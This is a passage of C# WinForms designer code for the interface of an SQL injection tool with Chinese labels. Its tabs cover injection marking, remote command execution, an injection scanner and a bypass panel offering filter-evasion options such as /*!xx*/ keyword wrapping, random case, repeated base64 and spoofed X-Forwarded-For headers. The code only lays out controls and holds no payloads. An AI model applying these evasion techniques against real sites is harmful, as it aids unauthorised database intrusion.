System.EventHandler(this.chk_inject_reverseKey_CheckedChanged); + // + // chk_openURLEncoding + // + this.chk_openURLEncoding.AutoSize = true; + this.chk_openURLEncoding.Checked = true; + this.chk_openURLEncoding.CheckState = System.Windows.Forms.CheckState.Checked; + this.chk_openURLEncoding.Location = new System.Drawing.Point(17, 22); + this.chk_openURLEncoding.Name = "chk_openURLEncoding"; + this.chk_openURLEncoding.Size = new System.Drawing.Size(90, 16); + this.chk_openURLEncoding.TabIndex = 21; + this.chk_openURLEncoding.Text = "开启URL编码"; + this.chk_openURLEncoding.UseVisualStyleBackColor = true; + this.chk_openURLEncoding.CheckedChanged += new System.EventHandler(this.chk_openURLEncoding_CheckedChanged); + // + // btn_inject_setEncodingRange + // + this.btn_inject_setEncodingRange.Location = new System.Drawing.Point(131, 51); + this.btn_inject_setEncodingRange.Name = "btn_inject_setEncodingRange"; + this.btn_inject_setEncodingRange.Size = new System.Drawing.Size(75, 23); + this.btn_inject_setEncodingRange.TabIndex = 19; + this.btn_inject_setEncodingRange.Text = "编码标记"; + this.btn_inject_setEncodingRange.UseVisualStyleBackColor = true; + this.btn_inject_setEncodingRange.Click += new System.EventHandler(this.btn_inject_setEncodingRange_Click); + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(10, 227); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(0, 12); + this.label13.TabIndex = 18; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(9, 127); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(0, 12); + this.label12.TabIndex = 17; + // + // btn_inject_clearRequest + // + this.btn_inject_clearRequest.Location = new System.Drawing.Point(131, 89); + this.btn_inject_clearRequest.Name = "btn_inject_clearRequest"; + this.btn_inject_clearRequest.Size = new System.Drawing.Size(75, 23); + this.btn_inject_clearRequest.TabIndex = 10; + this.btn_inject_clearRequest.Text = "获取数据"; + this.btn_inject_clearRequest.UseVisualStyleBackColor = true; + this.btn_inject_clearRequest.Click += new System.EventHandler(this.btn_inject_clearRequest_Click); + // + // btn_inject_sendData + // + this.btn_inject_sendData.Location = new System.Drawing.Point(17, 89); + this.btn_inject_sendData.Name = "btn_inject_sendData"; + this.btn_inject_sendData.Size = new System.Drawing.Size(75, 23); + this.btn_inject_sendData.TabIndex = 14; + this.btn_inject_sendData.Text = "发送数据"; + this.btn_inject_sendData.UseVisualStyleBackColor = true; + this.btn_inject_sendData.Click += new System.EventHandler(this.btn_inject_sendData_Click); + // + // chk_inject_foward_302 + // + this.chk_inject_foward_302.AutoSize = true; + this.chk_inject_foward_302.Location = new System.Drawing.Point(133, 22); + this.chk_inject_foward_302.Name = "chk_inject_foward_302"; + this.chk_inject_foward_302.Size = new System.Drawing.Size(66, 16); + this.chk_inject_foward_302.TabIndex = 16; + this.chk_inject_foward_302.Text = "302跟踪"; + this.chk_inject_foward_302.UseVisualStyleBackColor = true; + this.chk_inject_foward_302.CheckedChanged += new System.EventHandler(this.chk_inject_foward_302_CheckedChanged); + // + // btn_inject_setInject + // + this.btn_inject_setInject.Location = new System.Drawing.Point(17, 51); + this.btn_inject_setInject.Name = "btn_inject_setInject"; + this.btn_inject_setInject.Size = new System.Drawing.Size(75, 23); + this.btn_inject_setInject.TabIndex = 13; + this.btn_inject_setInject.Text = "注入标记"; + this.btn_inject_setInject.UseVisualStyleBackColor = true; + this.btn_inject_setInject.Click += new System.EventHandler(this.btn_inject_setInject_Click); + // + // mytab + // + this.mytab.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.mytab.Controls.Add(this.tab_injectCenter); + this.mytab.Controls.Add(this.tab_dataCenter); + this.mytab.Controls.Add(this.tab_file); + this.mytab.Controls.Add(this.tab_cmd); + this.mytab.Controls.Add(this.tab_bypass); + this.mytab.Controls.Add(this.tab_encoding); + this.mytab.Controls.Add(this.tab_scanInjection); + this.mytab.Controls.Add(this.tab_logCenter); + this.mytab.ImageList = this.myicon_list; + this.mytab.Location = new System.Drawing.Point(12, 112); + this.mytab.Name = "mytab"; + this.mytab.SelectedIndex = 0; + this.mytab.Size = new System.Drawing.Size(810, 451); + this.mytab.TabIndex = 1; + // + // tab_cmd + // + this.tab_cmd.Controls.Add(this.cmd_txt_result); + this.tab_cmd.Controls.Add(this.groupBox8); + this.tab_cmd.ImageKey = "cmd.png"; + this.tab_cmd.Location = new System.Drawing.Point(4, 23); + this.tab_cmd.Name = "tab_cmd"; + this.tab_cmd.Size = new System.Drawing.Size(802, 424); + this.tab_cmd.TabIndex = 6; + this.tab_cmd.Text = "命令执行"; + this.tab_cmd.UseVisualStyleBackColor = true; + // + // cmd_txt_result + // + this.cmd_txt_result.Dock = System.Windows.Forms.DockStyle.Fill; + this.cmd_txt_result.Location = new System.Drawing.Point(0, 76); + this.cmd_txt_result.MaxLength = 3276700; + this.cmd_txt_result.Multiline = true; + this.cmd_txt_result.Name = "cmd_txt_result"; + this.cmd_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.cmd_txt_result.Size = new System.Drawing.Size(802, 348); + this.cmd_txt_result.TabIndex = 2; + this.cmd_txt_result.TextChanged += new System.EventHandler(this.cmd_txt_result_TextChanged); + this.cmd_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.cmd_txt_result_KeyDown); + // + // groupBox8 + // + this.groupBox8.Controls.Add(this.cmd_chk_showCmdResult); + this.groupBox8.Controls.Add(this.cmd_btn_start); + this.groupBox8.Controls.Add(this.cmd_txt_cmd); + this.groupBox8.Controls.Add(this.label15); + this.groupBox8.Dock = System.Windows.Forms.DockStyle.Top; + this.groupBox8.Location = new System.Drawing.Point(0, 0); + this.groupBox8.Name = "groupBox8"; + this.groupBox8.Size = new System.Drawing.Size(802, 76); + this.groupBox8.TabIndex = 1; + this.groupBox8.TabStop = false; + this.groupBox8.Text = "命令执行"; + // + // cmd_chk_showCmdResult + // + this.cmd_chk_showCmdResult.AutoSize = true; + this.cmd_chk_showCmdResult.Checked = true; + this.cmd_chk_showCmdResult.CheckState = System.Windows.Forms.CheckState.Checked; + this.cmd_chk_showCmdResult.Location = new System.Drawing.Point(418, 32); + this.cmd_chk_showCmdResult.Name = "cmd_chk_showCmdResult"; + this.cmd_chk_showCmdResult.Size = new System.Drawing.Size(72, 16); + this.cmd_chk_showCmdResult.TabIndex = 13; + this.cmd_chk_showCmdResult.Text = "回显结果"; + this.cmd_chk_showCmdResult.UseVisualStyleBackColor = true; + this.cmd_chk_showCmdResult.CheckedChanged += new System.EventHandler(this.cmd_chk_showCmdResult_CheckedChanged); + // + // cmd_btn_start + // + this.cmd_btn_start.Location = new System.Drawing.Point(496, 28); + this.cmd_btn_start.Name = "cmd_btn_start"; + this.cmd_btn_start.Size = new System.Drawing.Size(75, 23); + this.cmd_btn_start.TabIndex = 12; + this.cmd_btn_start.Text = "执行"; + this.cmd_btn_start.UseVisualStyleBackColor = true; + this.cmd_btn_start.Click += new System.EventHandler(this.cmd_btn_start_Click); + // + // cmd_txt_cmd + // + this.cmd_txt_cmd.Location = new System.Drawing.Point(82, 29); + this.cmd_txt_cmd.MaxLength = 8000; + this.cmd_txt_cmd.Name = "cmd_txt_cmd"; + this.cmd_txt_cmd.Size = new System.Drawing.Size(316, 21); + this.cmd_txt_cmd.TabIndex = 1; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(29, 32); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(47, 12); + this.label15.TabIndex = 0; + this.label15.Text = "命 令:"; + // + // tab_bypass + // + this.tab_bypass.Controls.Add(this.groupBox9); + this.tab_bypass.ImageKey = "codeChange.png"; + this.tab_bypass.Location = new System.Drawing.Point(4, 23); + this.tab_bypass.Name = "tab_bypass"; + this.tab_bypass.Size = new System.Drawing.Size(802, 424); + this.tab_bypass.TabIndex = 7; + this.tab_bypass.Text = "注入绕过"; + this.tab_bypass.UseVisualStyleBackColor = true; + // + // groupBox9 + // + this.groupBox9.Controls.Add(this.cbox_bypass_urlencode_count); + this.groupBox9.Controls.Add(this.cbox_base64Count); + this.groupBox9.Controls.Add(this.bypass_btn_saveTemplate); + this.groupBox9.Controls.Add(this.bypass_cbox_loadTemplate); + this.groupBox9.Controls.Add(this.label28); + this.groupBox9.Controls.Add(this.chk_reaplaceBeforURLEncode); + this.groupBox9.Controls.Add(this.cob_keyRepalce); + this.groupBox9.Controls.Add(this.label10); + this.groupBox9.Controls.Add(this.bypass_chk_base64); + this.groupBox9.Controls.Add(this.bypass_cbox_randIPToHeader); + this.groupBox9.Controls.Add(this.label18); + this.groupBox9.Controls.Add(this.label17); + this.groupBox9.Controls.Add(this.bypass_cbox_sendHTTPSleepTime); + this.groupBox9.Controls.Add(this.bypass_chk_inculdeStr); + this.groupBox9.Controls.Add(this.label16); + this.groupBox9.Controls.Add(this.bypass_txt_replaceTo); + this.groupBox9.Controls.Add(this.bypass_txt_replace); + this.groupBox9.Controls.Add(this.bypass_lvw_replaceString); + this.groupBox9.Controls.Add(this.bypass_btn_addReplaceStr); + this.groupBox9.Controls.Add(this.label19); + this.groupBox9.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox9.Location = new System.Drawing.Point(0, 0); + this.groupBox9.Name = "groupBox9"; + this.groupBox9.Size = new System.Drawing.Size(802, 424); + this.groupBox9.TabIndex = 1; + this.groupBox9.TabStop = false; + this.groupBox9.Text = "字符替换进行注入绕过"; + // + // cbox_base64Count + // + this.cbox_base64Count.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbox_base64Count.FormattingEnabled = true; + this.cbox_base64Count.Items.AddRange(new object[] { + "一次", + "二次", + "三次"}); + this.cbox_base64Count.Location = new System.Drawing.Point(703, 24); + this.cbox_base64Count.Name = "cbox_base64Count"; + this.cbox_base64Count.Size = new System.Drawing.Size(75, 20); + this.cbox_base64Count.TabIndex = 22; + this.cbox_base64Count.TextChanged += new System.EventHandler(this.cbox_base64Count_TextChanged); + // + // bypass_btn_saveTemplate + // + this.bypass_btn_saveTemplate.Location = new System.Drawing.Point(421, 190); + this.bypass_btn_saveTemplate.Name = "bypass_btn_saveTemplate"; + this.bypass_btn_saveTemplate.Size = new System.Drawing.Size(150, 23); + this.bypass_btn_saveTemplate.TabIndex = 21; + this.bypass_btn_saveTemplate.Text = "保存当前绕过配置成模板"; + this.bypass_btn_saveTemplate.UseVisualStyleBackColor = true; + this.bypass_btn_saveTemplate.Click += new System.EventHandler(this.bypass_btn_saveTemplate_Click); + // + // bypass_cbox_loadTemplate + // + this.bypass_cbox_loadTemplate.FormattingEnabled = true; + this.bypass_cbox_loadTemplate.Items.AddRange(new object[] { + "我要自己选择"}); + this.bypass_cbox_loadTemplate.Location = new System.Drawing.Point(541, 151); + this.bypass_cbox_loadTemplate.Name = "bypass_cbox_loadTemplate"; + this.bypass_cbox_loadTemplate.Size = new System.Drawing.Size(237, 20); + this.bypass_cbox_loadTemplate.TabIndex = 20; + this.bypass_cbox_loadTemplate.TextChanged += new System.EventHandler(this.bypass_cbox_loadTemplate_TextChanged); + // + // label28 + // + this.label28.AutoSize = true; + this.label28.Location = new System.Drawing.Point(422, 154); + this.label28.Name = "label28"; + this.label28.Size = new System.Drawing.Size(113, 12); + this.label28.TabIndex = 19; + this.label28.Text = "加载注入绕过模板:"; + // + // chk_reaplaceBeforURLEncode + // + this.chk_reaplaceBeforURLEncode.AutoSize = true; + this.chk_reaplaceBeforURLEncode.Location = new System.Drawing.Point(20, 26); + this.chk_reaplaceBeforURLEncode.Name = "chk_reaplaceBeforURLEncode"; + this.chk_reaplaceBeforURLEncode.Size = new System.Drawing.Size(294, 16); + this.chk_reaplaceBeforURLEncode.TabIndex = 18; + this.chk_reaplaceBeforURLEncode.Text = "URL编码前处理绕过字符(不选则在编码后处理字符)"; + this.chk_reaplaceBeforURLEncode.UseVisualStyleBackColor = true; + this.chk_reaplaceBeforURLEncode.CheckedChanged += new System.EventHandler(this.chk_reaplaceBeforURLEncode_CheckedChanged); + // + // cob_keyRepalce + // + this.cob_keyRepalce.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cob_keyRepalce.FormattingEnabled = true; + this.cob_keyRepalce.Items.AddRange(new object[] { + "不处理", + "随机大小写", + "关键字大写", + "关键字小写"}); + this.cob_keyRepalce.Location = new System.Drawing.Point(658, 64); + this.cob_keyRepalce.Name = "cob_keyRepalce"; + this.cob_keyRepalce.Size = new System.Drawing.Size(120, 20); + this.cob_keyRepalce.TabIndex = 17; + this.cob_keyRepalce.SelectedIndexChanged += new System.EventHandler(this.cob_keyRepalce_SelectedIndexChanged); + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(587, 67); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(65, 12); + this.label10.TabIndex = 16; + this.label10.Text = "关 键 字:"; + // + // bypass_chk_base64 + // + this.bypass_chk_base64.AutoSize = true; + this.bypass_chk_base64.Location = new System.Drawing.Point(589, 27); + this.bypass_chk_base64.Name = "bypass_chk_base64"; + this.bypass_chk_base64.Size = new System.Drawing.Size(108, 16); + this.bypass_chk_base64.TabIndex = 15; + this.bypass_chk_base64.Text = "base64编码处理"; + this.bypass_chk_base64.UseVisualStyleBackColor = true; + this.bypass_chk_base64.CheckedChanged += new System.EventHandler(this.bypass_chk_base64_CheckedChanged); + // + // bypass_cbox_randIPToHeader + // + this.bypass_cbox_randIPToHeader.FormattingEnabled = true; + this.bypass_cbox_randIPToHeader.Items.AddRange(new object[] { + "", + "X-Forwarded-For", + "Remote-Addr", + "Client_Ip"}); + this.bypass_cbox_randIPToHeader.Location = new System.Drawing.Point(489, 108); + this.bypass_cbox_randIPToHeader.Name = "bypass_cbox_randIPToHeader"; + this.bypass_cbox_randIPToHeader.Size = new System.Drawing.Size(289, 20); + this.bypass_cbox_randIPToHeader.TabIndex = 14; + this.bypass_cbox_randIPToHeader.TextChanged += new System.EventHandler(this.bypass_cbox_randIPToHeader_TextChanged); + // + // label18 + // + this.label18.AutoSize = true; + this.label18.Location = new System.Drawing.Point(422, 111); + this.label18.Name = "label18"; + this.label18.Size = new System.Drawing.Size(65, 12); + this.label18.TabIndex = 13; + this.label18.Text = "IP随机头:"; + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(422, 66); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(65, 12); + this.label17.TabIndex = 12; + this.label17.Text = "发包延时:"; + // + // bypass_cbox_sendHTTPSleepTime + // + this.bypass_cbox_sendHTTPSleepTime.FormattingEnabled = true; + this.bypass_cbox_sendHTTPSleepTime.Items.AddRange(new object[] { + "0", + "100", + "200", + "300", + "400", + "500", + "600", + "700", + "800", + "900", + "1000", + "2000", + "3000", + "4000", + "5000", + "6000", + "7000", + "8000", + "9000", + "10000"}); + this.bypass_cbox_sendHTTPSleepTime.Location = new System.Drawing.Point(492, 63); + this.bypass_cbox_sendHTTPSleepTime.Name = "bypass_cbox_sendHTTPSleepTime"; + this.bypass_cbox_sendHTTPSleepTime.Size = new System.Drawing.Size(56, 20); + this.bypass_cbox_sendHTTPSleepTime.TabIndex = 11; + this.bypass_cbox_sendHTTPSleepTime.TextChanged += new System.EventHandler(this.bypass_cbox_sendHTTPSleepTime_TextChanged); + // + // bypass_chk_inculdeStr + // + this.bypass_chk_inculdeStr.AutoSize = true; + this.bypass_chk_inculdeStr.Location = new System.Drawing.Point(421, 27); + this.bypass_chk_inculdeStr.Name = "bypass_chk_inculdeStr"; + this.bypass_chk_inculdeStr.Size = new System.Drawing.Size(126, 16); + this.bypass_chk_inculdeStr.TabIndex = 3; + this.bypass_chk_inculdeStr.Text = "/*!xx*/包含关键字"; + this.bypass_chk_inculdeStr.UseVisualStyleBackColor = true; + this.bypass_chk_inculdeStr.CheckedChanged += new System.EventHandler(this.bypass_chk_inculdeStr_CheckedChanged); + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(188, 60); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(41, 12); + this.label16.TabIndex = 10; + this.label16.Text = "替换成"; + // + // bypass_txt_replaceTo + // + this.bypass_txt_replaceTo.Location = new System.Drawing.Point(235, 57); + this.bypass_txt_replaceTo.MaxLength = 100; + this.bypass_txt_replaceTo.Name = "bypass_txt_replaceTo"; + this.bypass_txt_replaceTo.Size = new System.Drawing.Size(78, 21); + this.bypass_txt_replaceTo.TabIndex = 9; + // + // bypass_txt_replace + // + this.bypass_txt_replace.AcceptsReturn = true; + this.bypass_txt_replace.Location = new System.Drawing.Point(65, 57); + this.bypass_txt_replace.MaxLength = 100; + this.bypass_txt_replace.Name = "bypass_txt_replace"; + this.bypass_txt_replace.Size = new System.Drawing.Size(78, 21); + this.bypass_txt_replace.TabIndex = 8; + // + // bypass_lvw_replaceString + // + this.bypass_lvw_replaceString.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.bypass_lvw_replaceString.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.col_replace, + this.col_replaceTo}); + this.bypass_lvw_replaceString.ContextMenuStrip = this.bypass_lvw_replaceString_cms; + this.bypass_lvw_replaceString.FullRowSelect = true; + this.bypass_lvw_replaceString.Location = new System.Drawing.Point(20, 95); + this.bypass_lvw_replaceString.Name = "bypass_lvw_replaceString"; + this.bypass_lvw_replaceString.Size = new System.Drawing.Size(387, 317); + this.bypass_lvw_replaceString.TabIndex = 7; + this.bypass_lvw_replaceString.UseCompatibleStateImageBehavior = false; + this.bypass_lvw_replaceString.View = System.Windows.Forms.View.Details; + // + // col_replace + // + this.col_replace.Text = "替换字符"; + this.col_replace.Width = 187; + // + // col_replaceTo + // + this.col_replaceTo.Text = "目标字符"; + this.col_replaceTo.Width = 179; + // + // bypass_lvw_replaceString_cms + // + this.bypass_lvw_replaceString_cms.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.bypass_delselect}); + this.bypass_lvw_replaceString_cms.Name = "data_cms_getVariable"; + this.bypass_lvw_replaceString_cms.Size = new System.Drawing.Size(125, 26); + // + // bypass_delselect + // + this.bypass_delselect.Name = "bypass_delselect"; + this.bypass_delselect.Size = new System.Drawing.Size(124, 22); + this.bypass_delselect.Text = "删除选中"; + this.bypass_delselect.Click += new System.EventHandler(this.bypass_delselect_Click); + // + // bypass_btn_addReplaceStr + // + this.bypass_btn_addReplaceStr.Location = new System.Drawing.Point(329, 56); + this.bypass_btn_addReplaceStr.Name = "bypass_btn_addReplaceStr"; + this.bypass_btn_addReplaceStr.Size = new System.Drawing.Size(78, 23); + this.bypass_btn_addReplaceStr.TabIndex = 6; + this.bypass_btn_addReplaceStr.Text = "添加"; + this.bypass_btn_addReplaceStr.UseVisualStyleBackColor = true; + this.bypass_btn_addReplaceStr.Click += new System.EventHandler(this.bypass_btn_addReplaceStr_Click); + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(18, 60); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(41, 12); + this.label19.TabIndex = 5; + this.label19.Text = "将字符"; + // + // tab_encoding + // + this.tab_encoding.Controls.Add(this.groupBox13); + this.tab_encoding.Controls.Add(this.groupBox11); + this.tab_encoding.Controls.Add(this.groupBox10); + this.tab_encoding.ImageKey = "convert.png"; + this.tab_encoding.Location = new System.Drawing.Point(4, 23); + this.tab_encoding.Name = "tab_encoding"; + this.tab_encoding.Size = new System.Drawing.Size(802, 424); + this.tab_encoding.TabIndex = 5; + this.tab_encoding.Text = "编码转换"; + this.tab_encoding.UseVisualStyleBackColor = true; + // + // groupBox13 + // + this.groupBox13.Controls.Add(this.label21); + this.groupBox13.Controls.Add(this.label23); + this.groupBox13.Controls.Add(this.encode_cbox_encode); + this.groupBox13.Controls.Add(this.encode_cbox_decode); + this.groupBox13.Dock = System.Windows.Forms.DockStyle.Bottom; + this.groupBox13.Location = new System.Drawing.Point(0, 361); + this.groupBox13.Name = "groupBox13"; + this.groupBox13.Size = new System.Drawing.Size(802, 63); + this.groupBox13.TabIndex = 8; + this.groupBox13.TabStop = false; + this.groupBox13.Text = "操作:"; + // + // label21 + // + this.label21.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.label21.AutoSize = true; + this.label21.Location = new System.Drawing.Point(32, 29); + this.label21.Name = "label21"; + this.label21.Size = new System.Drawing.Size(65, 12); + this.label21.TabIndex = 8; + this.label21.Text = "编码方式:"; + // + // label23 + // + this.label23.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.label23.AutoSize = true; + this.label23.Location = new System.Drawing.Point(363, 29); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(65, 12); + this.label23.TabIndex = 9; + this.label23.Text = "解码方式:"; + // + // encode_cbox_encode + // + this.encode_cbox_encode.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.encode_cbox_encode.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.encode_cbox_encode.FormattingEnabled = true; + this.encode_cbox_encode.Items.AddRange(new object[] { + "选择编码格式", + "URLEncode", + "Base64Encode", + "字符转Unicode", + "字符转16进制(UTF-8编码)", + "MD5加密"}); + this.encode_cbox_encode.Location = new System.Drawing.Point(103, 25); + this.encode_cbox_encode.Name = "encode_cbox_encode"; + this.encode_cbox_encode.Size = new System.Drawing.Size(200, 20); + this.encode_cbox_encode.TabIndex = 4; + this.encode_cbox_encode.SelectedIndexChanged += new System.EventHandler(this.encode_cbox_encode_SelectedIndexChanged); + // + // encode_cbox_decode + // + this.encode_cbox_decode.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.encode_cbox_decode.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.encode_cbox_decode.FormattingEnabled = true; + this.encode_cbox_decode.Items.AddRange(new object[] { + "选择解码格式", + "URLDecode", + "Base64Decode", + "Unicode转字符", + "16进制(UTF-8编码)转字符串", + "MD5解密"}); + this.encode_cbox_decode.Location = new System.Drawing.Point(434, 25); + this.encode_cbox_decode.Name = "encode_cbox_decode"; + this.encode_cbox_decode.Size = new System.Drawing.Size(200, 20); + this.encode_cbox_decode.TabIndex = 5; + this.encode_cbox_decode.SelectedIndexChanged += new System.EventHandler(this.encode_cbox_decode_SelectedIndexChanged); + // + // groupBox11 + // + this.groupBox11.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox11.Controls.Add(this.encode_txt_result); + this.groupBox11.Location = new System.Drawing.Point(0, 99); + this.groupBox11.Name = "groupBox11"; + this.groupBox11.Size = new System.Drawing.Size(799, 256); + this.groupBox11.TabIndex = 7; + this.groupBox11.TabStop = false; + this.groupBox11.Text = "结果:"; + // + // encode_txt_result + // + this.encode_txt_result.Dock = System.Windows.Forms.DockStyle.Fill; + this.encode_txt_result.Location = new System.Drawing.Point(3, 17); + this.encode_txt_result.MaxLength = 3276700; + this.encode_txt_result.Multiline = true; + this.encode_txt_result.Name = "encode_txt_result"; + this.encode_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.encode_txt_result.Size = new System.Drawing.Size(793, 236); + this.encode_txt_result.TabIndex = 2; + this.encode_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.encode_txt_result_KeyDown); + // + // groupBox10 + // + this.groupBox10.Controls.Add(this.encode_txt_input); + this.groupBox10.Dock = System.Windows.Forms.DockStyle.Top; + this.groupBox10.Location = new System.Drawing.Point(0, 0); + this.groupBox10.Name = "groupBox10"; + this.groupBox10.Size = new System.Drawing.Size(802, 97); + this.groupBox10.TabIndex = 6; + this.groupBox10.TabStop = false; + this.groupBox10.Text = "输入:"; + // + // encode_txt_input + // + this.encode_txt_input.Dock = System.Windows.Forms.DockStyle.Fill; + this.encode_txt_input.Location = new System.Drawing.Point(3, 17); + this.encode_txt_input.MaxLength = 3276700; + this.encode_txt_input.Multiline = true; + this.encode_txt_input.Name = "encode_txt_input"; + this.encode_txt_input.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.encode_txt_input.Size = new System.Drawing.Size(796, 77); + this.encode_txt_input.TabIndex = 1; + this.encode_txt_input.TextChanged += new System.EventHandler(this.encode_txt_encode_TextChanged); + this.encode_txt_input.KeyDown += new System.Windows.Forms.KeyEventHandler(this.encode_txt_input_KeyDown); + // + // tab_scanInjection + // + this.tab_scanInjection.Controls.Add(this.groupBox14); + this.tab_scanInjection.Controls.Add(this.groupBox12); + this.tab_scanInjection.ImageKey = "scan.png"; + this.tab_scanInjection.Location = new System.Drawing.Point(4, 23); + this.tab_scanInjection.Name = "tab_scanInjection"; + this.tab_scanInjection.Size = new System.Drawing.Size(802, 424); + this.tab_scanInjection.TabIndex = 8; + this.tab_scanInjection.Text = "注入扫描"; + this.tab_scanInjection.UseVisualStyleBackColor = true; + // + // groupBox14 + // + this.groupBox14.Controls.Add(this.splitContainer2); + this.groupBox14.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox14.Location = new System.Drawing.Point(0, 95); + this.groupBox14.Name = "groupBox14"; + this.groupBox14.Size = new System.Drawing.Size(802, 329); + this.groupBox14.TabIndex = 21; + this.groupBox14.TabStop = false; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(3, 17); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.scanInject_lsb_links); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.scanInjection_lvw_result); + this.splitContainer2.Size = new System.Drawing.Size(796, 309); + this.splitContainer2.SplitterDistance = 237; + this.splitContainer2.TabIndex = 18; + // + // scanInject_lsb_links + // + this.scanInject_lsb_links.ContextMenuStrip = this.scanInjectionURL_cms; + this.scanInject_lsb_links.Dock = System.Windows.Forms.DockStyle.Fill; + this.scanInject_lsb_links.FormattingEnabled = true; + this.scanInject_lsb_links.ItemHeight = 12; + this.scanInject_lsb_links.Location = new System.Drawing.Point(0, 0); + this.scanInject_lsb_links.Name = "scanInject_lsb_links"; + this.scanInject_lsb_links.ScrollAlwaysVisible = true; + this.scanInject_lsb_links.Size = new System.Drawing.Size(237, 309); + this.scanInject_lsb_links.TabIndex = 0; + // + // scanInjectionURL_cms + // + this.scanInjectionURL_cms.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_exportScanInjectionURL, + this.tsmi_clearScanInjectionURL}); + this.scanInjectionURL_cms.Name = "scanInjectionURL_cms"; + this.scanInjectionURL_cms.Size = new System.Drawing.Size(124, 48); + // + // tsmi_exportScanInjectionURL + // + this.tsmi_exportScanInjectionURL.Name = "tsmi_exportScanInjectionURL"; + this.tsmi_exportScanInjectionURL.Size = new System.Drawing.Size(123, 22); + this.tsmi_exportScanInjectionURL.Text = "导出URL"; + this.tsmi_exportScanInjectionURL.Click += new System.EventHandler(this.tsmi_exportScanInjectionURL_Click); + // + // tsmi_clearScanInjectionURL + // + this.tsmi_clearScanInjectionURL.Name = "tsmi_clearScanInjectionURL"; + this.tsmi_clearScanInjectionURL.Size = new System.Drawing.Size(123, 22); + this.tsmi_clearScanInjectionURL.Text = "清 空"; + this.tsmi_clearScanInjectionURL.Click += new System.EventHandler(this.tsmi_clearScanInjectionURL_Click); + // + // scanInjection_lvw_result + // + this.scanInjection_lvw_result.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.col_index, + this.col_url, + this.col_testURL, + this.col_param, + this.col_injectionType, + this.col_injectionDB, + this.col_mark}); + this.scanInjection_lvw_result.ContextMenuStrip = this.scanInjection_cms; + this.scanInjection_lvw_result.Dock = System.Windows.Forms.DockStyle.Fill; + this.scanInjection_lvw_result.FullRowSelect = true; + this.scanInjection_lvw_result.GridLines = true; + this.scanInjection_lvw_result.Location = new System.Drawing.Point(0, 0); + this.scanInjection_lvw_result.Name = "scanInjection_lvw_result"; + this.scanInjection_lvw_result.Size = new System.Drawing.Size(555, 309); + this.scanInjection_lvw_result.TabIndex = 5; + this.scanInjection_lvw_result.UseCompatibleStateImageBehavior = false; + this.scanInjection_lvw_result.View = System.Windows.Forms.View.Details; + this.scanInjection_lvw_result.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.scanInjection_lvw_result_ColumnClick); + this.scanInjection_lvw_result.DoubleClick += new System.EventHandler(this.scanInjection_lvw_result_DoubleClick); + // + // col_index + // + this.col_index.Text = "序号"; + this.col_index.Width = 46; + // + // col_url + // + this.col_url.Text = "原始URL"; + this.col_url.Width = 100; + // + // col_testURL + // + this.col_testURL.Text = "测试URL"; + this.col_testURL.Width = 150; + // + // col_param + // + 